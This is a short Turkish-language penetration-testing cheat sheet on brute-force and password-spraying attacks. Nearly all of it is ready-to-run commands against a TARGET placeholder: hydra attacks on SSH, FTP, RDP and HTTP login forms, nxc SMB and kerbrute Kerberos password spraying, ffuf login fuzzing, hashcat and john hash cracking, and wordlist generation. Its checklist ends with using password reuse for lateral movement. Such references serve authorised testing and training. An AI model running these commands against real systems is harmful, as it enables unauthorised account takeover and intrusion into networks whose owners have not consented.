Brute Force - CheatSheet
generic brute
Brute force = doğru protokol + doğru kullanıcı listesi + kilitleme-aware hız. Önce enum; sonra spray veya hedefli wordlist.
Metodoloji
Section titled “Metodoloji”-
Servisi ve auth metodunu fingerprint et.
-
Kullanıcı listesini üret (enum, OSINT, default).
-
Düşük paralel spray veya protokole özel brute çalıştır.
-
Hit’leri ayır; password reuse ile yanal genişle.
Network logins
Section titled “Network logins”hydra -L users.txt -P rockyou.txt ssh://TARGET -t 4hydra -L users.txt -P rockyou.txt ftp://TARGEThydra -L users.txt -P rockyou.txt rdp://TARGETnxc smb TARGET -u users.txt -p 'Welcome1' --continue-on-successnxc smb TARGET -u users.txt -p pass.txt --continue-on-successkerbrute passwordspray -d CORP.LOCAL users.txt 'SeasonYear!'hydra -L users.txt -P rockyou.txt TARGET http-post-form '/login:user=^USER^&pass=^PASS^:F=Invalid'ffuf -u https://TARGET/login -X POST -d 'user=FUZZ&pass=Password1' -w users.txt -fc 401ffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403Hash / offline
Section titled “Hash / offline”hashcat -m 0 hashes.txt rockyou.txthashcat -m 1000 ntlm.txt rockyou.txt -Ojohn --wordlist=rockyou.txt hashes.txtWordlist
Section titled “Wordlist”cewl https://TARGET -m 6 -w cewl.txtusername-anarchy < names.txt > users.txthashcat --force --stdout wordlist -r /usr/share/hashcat/rules/best64.rule | headChecklist
Section titled “Checklist”[ ] protokol/fingerprint alındı[ ] kullanıcı listesi hazır[ ] spray/brute hit üretti[ ] reuse / lateral not edildi